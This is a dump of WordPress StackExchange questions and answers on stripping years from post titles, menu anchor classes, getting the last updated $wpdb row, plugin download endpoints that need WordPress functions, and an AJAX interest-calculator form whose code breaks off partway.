[ { "answer_id": 285797, "author": "Piyush Rawat", "author_id": 73600, "author_profile": "https://wordpress.stackexchange.com/users/73600", "pm_score": 0, "selected": false, "text": "<p>I am making an assumption that all the titles have same pattern, i.e hyphen followed by the year.</p>\n\n<pre><code>$title_long = get_the_title();\n$title = explode('-' , $title_long);\n$title = trim($title[0]);\n$shortitle = wp_html_excerpt( $title, 23, '...' );\n</code></pre>\n\n<p>I guess this would do.</p>\n" }, { "answer_id": 285810, "author": "ghoul", "author_id": 131136, "author_profile": "https://wordpress.stackexchange.com/users/131136", "pm_score": 2, "selected": true, "text": "<p>Yes the problem is with the hyphen. WordPress converts hyphens with with spaces to en-dash. Following is the conversion with hyphens with WordPress:</p>\n<blockquote>\n<ol>\n<li><p>Foo {3 hyphens, spaced} Bar → Foo — Bar (em-dash)</p>\n</li>\n<li><p>Foo{3 hyphens, no space}Bar → Foo—Bar (em-dash)</p>\n</li>\n<li><p>Foo {2 hyphens, spaced} Bar → Foo — Bar (em-dash)</p>\n</li>\n<li><p>Foo{2 hyphens, no space}Bar → Foo–Bar (en-dash)</p>\n</li>\n<li><p>Foo {1 hyphen, spaced} Bar → Foo – Bar (en-dash)</p>\n</li>\n</ol>\n</blockquote>\n<p>Refer <a href=\"https://markjaquith.wordpress.com/2012/06/25/how-wordpress-handles-dashes-and-hyphens/\" rel=\"nofollow noreferrer\">here</a> for this.</p>\n<p>For your specific issue, you can do the following. This has a limitation that date should be at the last of the title.</p>\n<pre><code>// WP converts hyphens with spaces to n-dash, so convert them to hyphen again.\n$title = str_replace( array( '&amp;nbsp;', '&amp;#160;', '&amp;ndash;', '&amp;#8211;', '&amp;mdash;', '&amp;#8212;' ), '-', get_the_title() );\n// Explode using hyphen;\n$title = explode( '-', $title );\n// Remove last element i.e date.\narray_pop( $title );\n// Convert array to string.\n$title = implode( $title );\n// Echo.\necho $title;\n</code></pre>\n<p>OR\nyou can do the same using regex like the following which do not have the limitation as above:</p>\n<pre><code> // WP converts hyphens with spaces to n-dash, so convert them to hyphen again.\n $title = str_replace( array( '&amp;nbsp;', '&amp;#160;', '&amp;ndash;', '&amp;#8211;', '&amp;mdash;', '&amp;#8212;' ), '-', get_the_title() );\n\n // Pattern for date with hyphen and space.\n $pattern = '(\\s\\W\\s\\d+)';\n\n // Replace with space.\n echo preg_replace( $pattern, ' ', $title );\n</code></pre>\n" } ]
2017/11/13
[ "https://wordpress.stackexchange.com/questions/285782", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/131396/" ]
In several post titles I have "years" (eg: "Lorem ipsum - 2018"), it's not a problem. But in another part of the blog I call these titles in PHP: `$shortitle = wp_html_excerpt( get_the_title(), 23, '...' ); <div class="col-md-9">' . $shortitle . '</div>`. How could I remove the display of years in titles ? Thank you :) Update: Found the function str\_replace, but it's weird for my case: ``` $title_long = get_the_title(); $excludeyears = array(" - 2017", " - 2018", " - 2019", " - 2020"); $title_long_exclude_years = str_replace($excludeyears, "", $title_long); $shortitle = wp_html_excerpt( $title_long_exclude_years, 23, '...' ); ``` it displays: > > Lorem ipsum – 201... > > > Update 2: Okay, it's a problem with "-" character, but I dont have a solution.
Yes the problem is with the hyphen. WordPress converts hyphens with with spaces to en-dash. Following is the conversion with hyphens with WordPress: > > 1. Foo {3 hyphens, spaced} Bar → Foo — Bar (em-dash) > 2. Foo{3 hyphens, no space}Bar → Foo—Bar (em-dash) > 3. Foo {2 hyphens, spaced} Bar → Foo — Bar (em-dash) > 4. Foo{2 hyphens, no space}Bar → Foo–Bar (en-dash) > 5. Foo {1 hyphen, spaced} Bar → Foo – Bar (en-dash) > > > Refer [here](https://markjaquith.wordpress.com/2012/06/25/how-wordpress-handles-dashes-and-hyphens/) for this. For your specific issue, you can do the following. This has a limitation that date should be at the last of the title. ``` // WP converts hyphens with spaces to n-dash, so convert them to hyphen again. $title = str_replace( array( '&nbsp;', '&#160;', '&ndash;', '&#8211;', '&mdash;', '&#8212;' ), '-', get_the_title() ); // Explode using hyphen; $title = explode( '-', $title ); // Remove last element i.e date. array_pop( $title ); // Convert array to string. $title = implode( $title ); // Echo. echo $title; ``` OR you can do the same using regex like the following which do not have the limitation as above: ``` // WP converts hyphens with spaces to n-dash, so convert them to hyphen again. $title = str_replace( array( '&nbsp;', '&#160;', '&ndash;', '&#8211;', '&mdash;', '&#8212;' ), '-', get_the_title() ); // Pattern for date with hyphen and space. $pattern = '(\s\W\s\d+)'; // Replace with space. echo preg_replace( $pattern, ' ', $title ); ```
285,788
<p>I've read an infinite (yes there seems to be more than I care to read) same articles on how to apply a classes to the anchor not the link element using <code>nav_menu_link_attributes</code> and a walker.</p> <p>However, none of them implement the custom class option in the menu to be utilized on the anchor. Seems like a nice feature to have to allow the user to add their own class, however, what if I want to apply that class to an specific isolated element in the theme? </p> <p><a href="https://i.stack.imgur.com/RDFCU.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/RDFCU.png" alt="enter image description here"></a></p> <p>I have tried but not seen where it documents what this data value is returned in? How can I reference this optional piece of data?</p> <p>My project uses the anchor class attribute to scroll to the section of the page. </p>
[ { "answer_id": 285797, "author": "Piyush Rawat", "author_id": 73600, "author_profile": "https://wordpress.stackexchange.com/users/73600", "pm_score": 0, "selected": false, "text": "<p>I am making an assumption that all the titles have same pattern, i.e hyphen followed by the year.</p>\n\n<pre><code>$title_long = get_the_title();\n$title = explode('-' , $title_long);\n$title = trim($title[0]);\n$shortitle = wp_html_excerpt( $title, 23, '...' );\n</code></pre>\n\n<p>I guess this would do.</p>\n" }, { "answer_id": 285810, "author": "ghoul", "author_id": 131136, "author_profile": "https://wordpress.stackexchange.com/users/131136", "pm_score": 2, "selected": true, "text": "<p>Yes the problem is with the hyphen. WordPress converts hyphens with with spaces to en-dash. Following is the conversion with hyphens with WordPress:</p>\n<blockquote>\n<ol>\n<li><p>Foo {3 hyphens, spaced} Bar → Foo — Bar (em-dash)</p>\n</li>\n<li><p>Foo{3 hyphens, no space}Bar → Foo—Bar (em-dash)</p>\n</li>\n<li><p>Foo {2 hyphens, spaced} Bar → Foo — Bar (em-dash)</p>\n</li>\n<li><p>Foo{2 hyphens, no space}Bar → Foo–Bar (en-dash)</p>\n</li>\n<li><p>Foo {1 hyphen, spaced} Bar → Foo – Bar (en-dash)</p>\n</li>\n</ol>\n</blockquote>\n<p>Refer <a href=\"https://markjaquith.wordpress.com/2012/06/25/how-wordpress-handles-dashes-and-hyphens/\" rel=\"nofollow noreferrer\">here</a> for this.</p>\n<p>For your specific issue, you can do the following. This has a limitation that date should be at the last of the title.</p>\n<pre><code>// WP converts hyphens with spaces to n-dash, so convert them to hyphen again.\n$title = str_replace( array( '&amp;nbsp;', '&amp;#160;', '&amp;ndash;', '&amp;#8211;', '&amp;mdash;', '&amp;#8212;' ), '-', get_the_title() );\n// Explode using hyphen;\n$title = explode( '-', $title );\n// Remove last element i.e date.\narray_pop( $title );\n// Convert array to string.\n$title = implode( $title );\n// Echo.\necho $title;\n</code></pre>\n<p>OR\nyou can do the same using regex like the following which do not have the limitation as above:</p>\n<pre><code> // WP converts hyphens with spaces to n-dash, so convert them to hyphen again.\n $title = str_replace( array( '&amp;nbsp;', '&amp;#160;', '&amp;ndash;', '&amp;#8211;', '&amp;mdash;', '&amp;#8212;' ), '-', get_the_title() );\n\n // Pattern for date with hyphen and space.\n $pattern = '(\\s\\W\\s\\d+)';\n\n // Replace with space.\n echo preg_replace( $pattern, ' ', $title );\n</code></pre>\n" } ]
2017/11/13
[ "https://wordpress.stackexchange.com/questions/285788", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/131432/" ]
I've read an infinite (yes there seems to be more than I care to read) same articles on how to apply a classes to the anchor not the link element using `nav_menu_link_attributes` and a walker. However, none of them implement the custom class option in the menu to be utilized on the anchor. Seems like a nice feature to have to allow the user to add their own class, however, what if I want to apply that class to an specific isolated element in the theme? [![enter image description here](https://i.stack.imgur.com/RDFCU.png)](https://i.stack.imgur.com/RDFCU.png) I have tried but not seen where it documents what this data value is returned in? How can I reference this optional piece of data? My project uses the anchor class attribute to scroll to the section of the page.
Yes the problem is with the hyphen. WordPress converts hyphens with with spaces to en-dash. Following is the conversion with hyphens with WordPress: > > 1. Foo {3 hyphens, spaced} Bar → Foo — Bar (em-dash) > 2. Foo{3 hyphens, no space}Bar → Foo—Bar (em-dash) > 3. Foo {2 hyphens, spaced} Bar → Foo — Bar (em-dash) > 4. Foo{2 hyphens, no space}Bar → Foo–Bar (en-dash) > 5. Foo {1 hyphen, spaced} Bar → Foo – Bar (en-dash) > > > Refer [here](https://markjaquith.wordpress.com/2012/06/25/how-wordpress-handles-dashes-and-hyphens/) for this. For your specific issue, you can do the following. This has a limitation that date should be at the last of the title. ``` // WP converts hyphens with spaces to n-dash, so convert them to hyphen again. $title = str_replace( array( '&nbsp;', '&#160;', '&ndash;', '&#8211;', '&mdash;', '&#8212;' ), '-', get_the_title() ); // Explode using hyphen; $title = explode( '-', $title ); // Remove last element i.e date. array_pop( $title ); // Convert array to string. $title = implode( $title ); // Echo. echo $title; ``` OR you can do the same using regex like the following which do not have the limitation as above: ``` // WP converts hyphens with spaces to n-dash, so convert them to hyphen again. $title = str_replace( array( '&nbsp;', '&#160;', '&ndash;', '&#8211;', '&mdash;', '&#8212;' ), '-', get_the_title() ); // Pattern for date with hyphen and space. $pattern = '(\s\W\s\d+)'; // Replace with space. echo preg_replace( $pattern, ' ', $title ); ```
285,798
<p>How to get last updated row or ID in wordpress.</p> <p>Like : <code>$wpdb-&gt;insert_id;</code></p>
[ { "answer_id": 292439, "author": "J.BizMai", "author_id": 128094, "author_profile": "https://wordpress.stackexchange.com/users/128094", "pm_score": 1, "selected": false, "text": "<p>I had the same problem.</p>\n\n<blockquote>\n <p>There is no equivalent function. <code>$wpdb-&gt;insert_id</code> works only after <code>$wpdb-&gt;insert</code> </p>\n</blockquote>\n\n<p><strong>Alternative way</strong></p>\n\n<p>If it's an update, you can either get the id with a query based on the data you have got, or most of the time, you should have already got the id before update it.</p>\n\n<pre><code>global $wpdb;\n\n$data = array(\n 'first_name' =&gt; \"John\",\n 'last_name' =&gt; \"Doe\"\n);\n\n$where = array(\n 'id' =&gt; $my_id\n);\n\n$res_update = $wpdb-&gt;update( $wpdb-&gt;prefix . \"my_table\", $data, $where );\n\nif( $res_update === false ){\n error_log( 'my error');\n}\n\nreturn $my_id;\n</code></pre>\n" }, { "answer_id": 348203, "author": "Vishnu V", "author_id": 175086, "author_profile": "https://wordpress.stackexchange.com/users/175086", "pm_score": 0, "selected": false, "text": "<p>Once again select the same row updated on success. </p>\n\n<pre><code> if($wpdb-&gt;last_error !== '') {\n //throw error stuffs\n }else{\n $last_updated_row = $wpdb-&gt;get_row(\"SELECT * FROM $wpdb-&gt;prefix . 'my_table' WHERE id = $my_id\"); \n\n }\n</code></pre>\n" } ]
2017/11/14
[ "https://wordpress.stackexchange.com/questions/285798", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/108991/" ]
How to get last updated row or ID in wordpress. Like : `$wpdb->insert_id;`
I had the same problem. > > There is no equivalent function. `$wpdb->insert_id` works only after `$wpdb->insert` > > > **Alternative way** If it's an update, you can either get the id with a query based on the data you have got, or most of the time, you should have already got the id before update it. ``` global $wpdb; $data = array( 'first_name' => "John", 'last_name' => "Doe" ); $where = array( 'id' => $my_id ); $res_update = $wpdb->update( $wpdb->prefix . "my_table", $data, $where ); if( $res_update === false ){ error_log( 'my error'); } return $my_id; ```
285,807
<p>I'm creating a plugin where user can download files. Currently I display download links like:</p> <pre><code>&lt;a href="plugin/directory/some/path/download.php?file_to_download_id=1"&gt;Some Download&lt;/a&gt; </code></pre> <p><strong>Problem:</strong></p> <p>I need to use wordpress core functionality like <code>is_user_logged_in()</code> or <code>get_current_user_id()</code> in the download.php . How am I able to use these functions in this php file?</p> <p>(PS: I do not want to include wp-load in download.php)</p>
[ { "answer_id": 285809, "author": "Pratik bhatt", "author_id": 60922, "author_profile": "https://wordpress.stackexchange.com/users/60922", "pm_score": -1, "selected": false, "text": "<p>As you have mentioned the file is located in your plugins folder you do not need to add the wp-load.php file here in case if you are not able to use the default WordPress functions. You need to include the file from your plugin's main PHP file. </p>\n\n<p>Hope this solves your query.</p>\n" }, { "answer_id": 285812, "author": "Robin", "author_id": 131450, "author_profile": "https://wordpress.stackexchange.com/users/131450", "pm_score": 1, "selected": false, "text": "<p>You should create a function in your plugin where you listen to a specific URL or watch for specific parameters. For example to generate the download link:</p>\n\n<pre><code>&lt;?php\n $nonce = wp_create_nonce( 'download-' . $filename );\n echo '&lt;a href=\"/?_wp_nonce=\"' . $nonce . '&amp;download=' . $filename . '\"&gt;Some Download&lt;/a&gt;';\n?&gt;\n</code></pre>\n\n<p>And to download the file:</p>\n\n<pre><code>if ( ! empty( $_GET['_wp_nonce'] ) &amp;&amp; ! empty( $_GET['download'] ) &amp;&amp; wp_verify_nonce( $_GET['_wp_nonce'], 'download-' . $_GET['download'] ) ) {\n /*\n * Check if file exists and then output the right headers and the content of the file\n */\n\n exit;\n}\n</code></pre>\n" }, { "answer_id": 285975, "author": "brianjohnhanna", "author_id": 65403, "author_profile": "https://wordpress.stackexchange.com/users/65403", "pm_score": 0, "selected": false, "text": "<p>WordPress provides a couple cookies that track whether the user is logged in and what their user ID is. These are described on <a href=\"https://codex.wordpress.org/WordPress_Cookies#Users\" rel=\"nofollow noreferrer\">this page in the Codex</a>:</p>\n<blockquote>\n<p>After login, wordpress sets the wordpress_logged_in_[hash] cookie, which indicates when you're logged in, and who you are, for most interface use.</p>\n<p>WordPress also sets a few wp-settings-{time}-[UID] cookies. The number on the end is your individual user ID from the users database table. This is used to customize your view of admin interface, and possibly also the main site interface.</p>\n</blockquote>\n<p>If you absolutely must avoid loading <code>wp-load.php</code> in your <code>download.php</code> file, you could check for the existence of these cookies in your file using the <a href=\"https://secure.php.net/manual/en/features.cookies.php\" rel=\"nofollow noreferrer\"><code>$_COOKIE</code> global</a> and parse the <code>wp-settings-{time}-[UID]</code> cookie to get the user ID (&quot;UID&quot;).</p>\n<p>In my honest opinion, I think this is a waste compared to just including the following two lines at the top of your <code>download.php</code> file:</p>\n<pre><code>define( 'WP_USE_THEMES', false );\nrequire( './wp-load.php' ); \n</code></pre>\n<p>This won't load any theme files or template functions, but will instantly give you access to the core WordPress functions you are looking for. I would encourage you to try it both ways (if you are so inclined) and see the performance difference... it won't be much, especially on a server running PHP7.</p>\n" } ]
2017/11/14
[ "https://wordpress.stackexchange.com/questions/285807", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/129760/" ]
I'm creating a plugin where user can download files. Currently I display download links like: ``` <a href="plugin/directory/some/path/download.php?file_to_download_id=1">Some Download</a> ``` **Problem:** I need to use wordpress core functionality like `is_user_logged_in()` or `get_current_user_id()` in the download.php . How am I able to use these functions in this php file? (PS: I do not want to include wp-load in download.php)
You should create a function in your plugin where you listen to a specific URL or watch for specific parameters. For example to generate the download link: ``` <?php $nonce = wp_create_nonce( 'download-' . $filename ); echo '<a href="/?_wp_nonce="' . $nonce . '&download=' . $filename . '">Some Download</a>'; ?> ``` And to download the file: ``` if ( ! empty( $_GET['_wp_nonce'] ) && ! empty( $_GET['download'] ) && wp_verify_nonce( $_GET['_wp_nonce'], 'download-' . $_GET['download'] ) ) { /* * Check if file exists and then output the right headers and the content of the file */ exit; } ```
285,844
<p>I have the following form</p> <pre><code>&lt;form name="interest_calculator" id="interest_calculator"&gt; &lt;input type="hidden" name="action" value="calculate_investor_interest" /&gt; &lt;div class="tab"&gt; &lt;h4&gt;&lt;span class="badge"&gt;01&lt;/span&gt; Investment Details&lt;/h4&gt; &lt;div class="form-group"&gt; &lt;label for="currency_type"&gt;Select Currency&lt;/label&gt; &lt;select name="currency_type" id="currency_type" class="form-control"&gt; &lt;option value="USD" selected&gt;USD&lt;/option&gt; &lt;option value="KSHS"&gt;KSHS&lt;/option&gt; &lt;/select&gt; &lt;small&gt;For USD transactions,our dollar exchange is @ &lt;strong&gt;1 USD = &lt;?php echo get_option('qfe_buying_rate');?&gt; KES today(buying)&lt;/strong&gt; and @ &lt;strong&gt;1 USD= &lt;?php echo get_option('qfe_selling_rate');?&gt; KES today(selling)&lt;/strong&gt;&lt;/small&gt; &lt;/div&gt; &lt;div id="principal_amount_group" class="form-group"&gt; &lt;label for="principal_amount"&gt;Amount to Invest&lt;/label&gt; &lt;small id="amount_error" class="error"&gt;&lt;/small&gt; &lt;input type="text" required name="principal_amount" id="the_principal_amt" class="form-control"/&gt; &lt;small id="amount_info"&gt;minimum amount is: &lt;strong&gt;&lt;?php echo get_option('qfe_minimum_usd');?&gt; USD&lt;/strong&gt;&lt;/small&gt; &lt;/div&gt; &lt;div class="form-group"&gt; &lt;label for="trade_months"&gt;Number of months to trade&lt;/label&gt; &lt;select name="trade_months" id="trade_months" class="form-control" required&gt; &lt;option value="3"&gt;3 Months&lt;/option&gt; &lt;option value="6"&gt;6 Months&lt;/option&gt; &lt;option value="9"&gt;9 Months&lt;/option&gt; &lt;option value="12"&gt;12 Months&lt;/option&gt; &lt;/select&gt; &lt;/div&gt; &lt;button id="btnDoCalculation" type="submit" class="btn btn-success pull-left" name="btnDoCalculation"&gt;Visualize Interest&lt;/button&gt; &lt;/div&gt; &lt;div class="clearfix"&gt;&lt;/div&gt; &lt;div class="tab"&gt; &lt;h4&gt;&lt;span class="badge"&gt;02&lt;/span&gt;Payment Details&lt;/h4&gt; &lt;div class="form-group"&gt; &lt;h3&gt;Charge Details&lt;/h3&gt; &lt;p&gt;Charge details are as follows:&lt;/p&gt; &lt;div class="row"&gt; &lt;div class="col-xs-12 col-sm-6"&gt; &lt;table id="deposit_results" class="table table-condensed"&gt; &lt;thead&gt; &lt;tr&gt; &lt;th&gt;Item&lt;/th&gt; &lt;th class="text-right"&gt;Cost&lt;/th&gt; &lt;/tr&gt; &lt;/thead&gt; &lt;tbody&gt; &lt;tr&gt; &lt;td&gt;Amount to Deposit&lt;/td&gt; &lt;td id="deposit_value" class="text-right"&gt;&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;Transfer Charge&lt;/td&gt; &lt;td id="management_charge_value" class="text-right"&gt;&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;Total to Deposit&lt;/td&gt; &lt;td id="total_deposit_value" class="text-right"&gt;&lt;strong&gt;&lt;/strong&gt;&lt;/td&gt; &lt;/tr&gt; &lt;/tbody&gt; &lt;/table&gt; &lt;/div&gt; &lt;/div&gt; &lt;h3&gt;Banking Details&lt;/h3&gt; &lt;p&gt;&lt;strong&gt;Bank:&lt;/strong&gt; N/A&lt;/p&gt; &lt;p&gt;&lt;strong&gt;Acc. No:&lt;/strong&gt; N/A&lt;/p&gt; &lt;p&gt;&lt;strong&gt;Acc. Name&lt;/strong&gt;N/A&lt;/p&gt; &lt;/div&gt; &lt;div class="form-group"&gt; &lt;label for="the_schedule"&gt;Interest payment terms(Cannot be be altered)&lt;/label&gt; &lt;select name="the_schedule" id="the_schedule" class="form-control" required&gt; &lt;option value="monthly"&gt;Monthly&lt;/option&gt; &lt;option value="maturity" selected&gt;On Maturity&lt;/option&gt; &lt;/select&gt; &lt;small&gt;Money will be wired to your stated bank account. Other methods coming soon&lt;/small&gt; &lt;/div&gt; &lt;/div&gt; &lt;button id="nextBtn" class="btn btn-primary pull-right"&gt;Next&lt;/button&gt; &lt;button id="prevBtn" class="btn pull-right"&gt;Previous&lt;/button&gt; &lt;!-- Circles which indicates the steps of the form: --&gt; &lt;div style="text-align:center;margin-top:40px;"&gt; &lt;span class="step"&gt;&lt;/span&gt; &lt;span class="step"&gt;&lt;/span&gt; &lt;/div&gt; &lt;/form&gt; </code></pre> <p>The ajax submission code for the btnDoCalculation is as follows:</p> <pre><code>$('#btnDoCalculation').click(function(e){ var formData = $('#interest_calculator').serialize(); $.ajax({ type: 'POST', url:'&lt;?php echo admin_url('admin-ajax.php');?&gt;', data:formData, action:'calculate_investor_interest', dataType: 'json', encode:true }).done(function(data){ if(data.success){ console.log(data.message); var results = data.calc_results; var newData = results.reduce(function(collection, element){ var rowData = {}; //create a new empty row element.reduce(function(collection, element){ //put the elements into the row rowData[element[0]] = element[1]; return rowData; }, rowData); collection.push(rowData); //add the row to the results return collection; }, []); var tr; //overwrite data $('#compound_interest_table tbody').empty(); for (var i=0; i&lt;newData.length; i++){ tr = $('&lt;tr/&gt;'); //put datejs library here..... tr.append('&lt;td&gt;' + newData[i].maturity_date + '&lt;/td&gt;' ); tr.append('&lt;td&gt;' + newData[i].interest_rate + '&lt;/td&gt;' ); tr.append('&lt;td class="hidden-xs hidden-sm"&gt;' + newData[i].interest_earned + '&lt;/td&gt;' ); tr.append('&lt;td&gt;' + newData[i].management_fee + '&lt;/td&gt;' ); tr.append('&lt;td class="hidden-xs hidden-sm"&gt;' + newData[i].gross_earning + '&lt;/td&gt;' ); tr.append('&lt;td class="hidden-xs hidden-sm"&gt;' + newData[i].investor_net_commission + '&lt;/td&gt;' ); tr.append('&lt;td&gt;' + newData[i].investor_net_earning + '&lt;/td&gt;' ); $('#compound_interest_table tbody').append(tr); } }else{ console.log('There is a problem '); } }).fail(function(data){ console.log(data); }); e.preventDefault(); }); </code></pre> <p>The ajax action hook :</p> <pre><code>//handle form submissions function handle_investment_calc(){ include_once('includes/controllers/investment_calculator.php'); } add_action('wp_ajax_calculate_investor_interest', 'handle_investment_calc'); </code></pre> <p>When using pure PHP, HTML and CSS, it works perfectly. The data from the form is sent, a calculation is done (via investment_calculator.php script) and the results are output to the compound_interest_table with no fuss. However, when I transfer the code to a wordpress plugin (as shown above) and try to do ajax the wordpress way, I am not getting any result output.</p> <p>Where am I going wrong? The desired effect is that when I click the Do calculation button, it returns output to the table as above. The investment_calculator script is ok. </p> <p>UPDATE:</p> <p>After adding the 'action' parameter to the ajax code, it seems that now data is being sent to the investment calc and results are ok (in the console). The results are however not outputting to the table. </p> <p>Console response <a href="https://i.stack.imgur.com/MCsxc.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/MCsxc.png" alt="Console response for Ajax Call"></a></p> <p>UPDATE 2:</p> <p>Modified the ajax call like this. </p> <pre><code>$.ajax({ type: 'POST', url:'&lt;?php echo admin_url('admin-ajax.php');?&gt;', data:formData, action:'calculate_investor_interest', dataType: 'json', encode:true, complete:function(r){ console.log(r.responseText); var results = r.responseText; var newData = results.reduce(function(collection, element){ var rowData = {}; //create a new empty row element.reduce(function(collection, element){ //put the elements into the row rowData[element[0]] = element[1]; return rowData; }, rowData); collection.push(rowData); //add the row to the results return collection; }, []); var tr; //overwrite data $('#compound_interest_table tbody').empty(); for (var i=0; i&lt;newData.length; i++){ tr = $('&lt;tr/&gt;'); //put datejs library here..... tr.append('&lt;td&gt;' + newData[i].maturity_date + '&lt;/td&gt;' ); tr.append('&lt;td&gt;' + newData[i].interest_rate + '&lt;/td&gt;' ); tr.append('&lt;td class="hidden-xs hidden-sm"&gt;' + newData[i].interest_earned + '&lt;/td&gt;' ); tr.append('&lt;td&gt;' + newData[i].management_fee + '&lt;/td&gt;' ); tr.append('&lt;td class="hidden-xs hidden-sm"&gt;' + newData[i].gross_earning + '&lt;/td&gt;' ); tr.append('&lt;td class="hidden-xs hidden-sm"&gt;' + newData[i].investor_net_commission + '&lt;/td&gt;' ); tr.append('&lt;td&gt;' + newData[i].investor_net_earning + '&lt;/td&gt;' ); $('#compound_interest_table tbody').append(tr); } } }); </code></pre> <p>Data is being recieved, thanks to @ Piyush Rawat but there's now a problem with the mapreduce function ('reduce not a function'). how to I solve it</p>
[ { "answer_id": 285809, "author": "Pratik bhatt", "author_id": 60922, "author_profile": "https://wordpress.stackexchange.com/users/60922", "pm_score": -1, "selected": false, "text": "<p>As you have mentioned the file is located in your plugins folder you do not need to add the wp-load.php file here in case if you are not able to use the default WordPress functions. You need to include the file from your plugin's main PHP file. </p>\n\n<p>Hope this solves your query.</p>\n" }, { "answer_id": 285812, "author": "Robin", "author_id": 131450, "author_profile": "https://wordpress.stackexchange.com/users/131450", "pm_score": 1, "selected": false, "text": "<p>You should create a function in your plugin where you listen to a specific URL or watch for specific parameters. For example to generate the download link:</p>\n\n<pre><code>&lt;?php\n $nonce = wp_create_nonce( 'download-' . $filename );\n echo '&lt;a href=\"/?_wp_nonce=\"' . $nonce . '&amp;download=' . $filename . '\"&gt;Some Download&lt;/a&gt;';\n?&gt;\n</code></pre>\n\n<p>And to download the file:</p>\n\n<pre><code>if ( ! empty( $_GET['_wp_nonce'] ) &amp;&amp; ! empty( $_GET['download'] ) &amp;&amp; wp_verify_nonce( $_GET['_wp_nonce'], 'download-' . $_GET['download'] ) ) {\n /*\n * Check if file exists and then output the right headers and the content of the file\n */\n\n exit;\n}\n</code></pre>\n" }, { "answer_id": 285975, "author": "brianjohnhanna", "author_id": 65403, "author_profile": "https://wordpress.stackexchange.com/users/65403", "pm_score": 0, "selected": false, "text": "<p>WordPress provides a couple cookies that track whether the user is logged in and what their user ID is. These are described on <a href=\"https://codex.wordpress.org/WordPress_Cookies#Users\" rel=\"nofollow noreferrer\">this page in the Codex</a>:</p>\n<blockquote>\n<p>After login, wordpress sets the wordpress_logged_in_[hash] cookie, which indicates when you're logged in, and who you are, for most interface use.</p>\n<p>WordPress also sets a few wp-settings-{time}-[UID] cookies. The number on the end is your individual user ID from the users database table. This is used to customize your view of admin interface, and possibly also the main site interface.</p>\n</blockquote>\n<p>If you absolutely must avoid loading <code>wp-load.php</code> in your <code>download.php</code> file, you could check for the existence of these cookies in your file using the <a href=\"https://secure.php.net/manual/en/features.cookies.php\" rel=\"nofollow noreferrer\"><code>$_COOKIE</code> global</a> and parse the <code>wp-settings-{time}-[UID]</code> cookie to get the user ID (&quot;UID&quot;).</p>\n<p>In my honest opinion, I think this is a waste compared to just including the following two lines at the top of your <code>download.php</code> file:</p>\n<pre><code>define( 'WP_USE_THEMES', false );\nrequire( './wp-load.php' ); \n</code></pre>\n<p>This won't load any theme files or template functions, but will instantly give you access to the core WordPress functions you are looking for. I would encourage you to try it both ways (if you are so inclined) and see the performance difference... it won't be much, especially on a server running PHP7.</p>\n" } ]
2017/11/14
[ "https://wordpress.stackexchange.com/questions/285844", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/62852/" ]
I have the following form ``` <form name="interest_calculator" id="interest_calculator"> <input type="hidden" name="action" value="calculate_investor_interest" /> <div class="tab"> <h4><span class="badge">01</span> Investment Details</h4> <div class="form-group"> <label for="currency_type">Select Currency</label> <select name="currency_type" id="currency_type" class="form-control"> <option value="USD" selected>USD</option> <option value="KSHS">KSHS</option> </select> <small>For USD transactions,our dollar exchange is @ <strong>1 USD = <?php echo get_option('qfe_buying_rate');?> KES today(buying)</strong> and @ <strong>1 USD= <?php echo get_option('qfe_selling_rate');?> KES today(selling)</strong></small> </div> <div id="principal_amount_group" class="form-group"> <label for="principal_amount">Amount to Invest</label> <small id="amount_error" class="error"></small> <input type="text" required name="principal_amount" id="the_principal_amt" class="form-control"/> <small id="amount_info">minimum amount is: <strong><?php echo get_option('qfe_minimum_usd');?> USD</strong></small> </div> <div class="form-group"> <label for="trade_months">Number of months to trade</label> <select name="trade_months" id="trade_months" class="form-control" required> <option value="3">3 Months</option> <option value="6">6 Months</option> <option value="9">9 Months</option> <option value="12">12 Months</option> </select> </div> <button id="btnDoCalculation" type="submit" class="btn btn-success pull-left" name="btnDoCalculation">Visualize Interest</button> </div> <div class="clearfix"></div> <div class="tab"> <h4><span class="badge">02</span>Payment Details</h4> <div class="form-group"> <h3>Charge Details</h3> <p>Charge details are as follows:</p> <div class="row"> <div class="col-xs-12 col-sm-6"> <table id="deposit_results" class="table table-condensed"> <thead> <tr> <th>Item</th> <th class="text-right">Cost</th> </tr> </thead> <tbody> <tr> <td>Amount to Deposit</td> <td id="deposit_value" class="text-right"></td> </tr> <tr> <td>Transfer Charge</td> <td id="management_charge_value" class="text-right"></td> </tr> <tr> <td>Total to Deposit</td> <td id="total_deposit_value" class="text-right"><strong></strong></td> </tr> </tbody> </table> </div> </div> <h3>Banking Details</h3> <p><strong>Bank:</strong> N/A</p> <p><strong>Acc. No:</strong> N/A</p> <p><strong>Acc. Name</strong>N/A</p> </div> <div class="form-group"> <label for="the_schedule">Interest payment terms(Cannot be be altered)</label> <select name="the_schedule" id="the_schedule" class="form-control" required> <option value="monthly">Monthly</option> <option value="maturity" selected>On Maturity</option> </select> <small>Money will be wired to your stated bank account. Other methods coming soon</small> </div> </div> <button id="nextBtn" class="btn btn-primary pull-right">Next</button> <button id="prevBtn" class="btn pull-right">Previous</button> <!-- Circles which indicates the steps of the form: --> <div style="text-align:center;margin-top:40px;"> <span class="step"></span> <span class="step"></span> </div> </form> ``` The ajax submission code for the btnDoCalculation is as follows: ``` $('#btnDoCalculation').click(function(e){ var formData = $('#interest_calculator').serialize(); $.ajax({ type: 'POST', url:'<?php echo admin_url('admin-ajax.php');?>', data:formData, action:'calculate_investor_interest', dataType: 'json', encode:true }).done(function(data){ if(data.success){ console.log(data.message); var results = data.calc_results; var newData = results.reduce(function(collection, element){ var rowData = {}; //create a new empty row element.reduce(function(collection, element){ //put the elements into the row rowData[element[0]] = element[1]; return rowData; }, rowData); collection.push(rowData); //add the row to the results return collection; }, []); var tr; //overwrite data $('#compound_interest_table tbody').empty(); for (var i=0; i<newData.length; i++){ tr = $('<tr/>'); //put datejs library here..... tr.append('<td>' + newData[i].maturity_date + '</td>' ); tr.append('<td>' + newData[i].interest_rate + '</td>' ); tr.append('<td class="hidden-xs hidden-sm">' + newData[i].interest_earned + '</td>' ); tr.append('<td>' + newData[i].management_fee + '</td>' ); 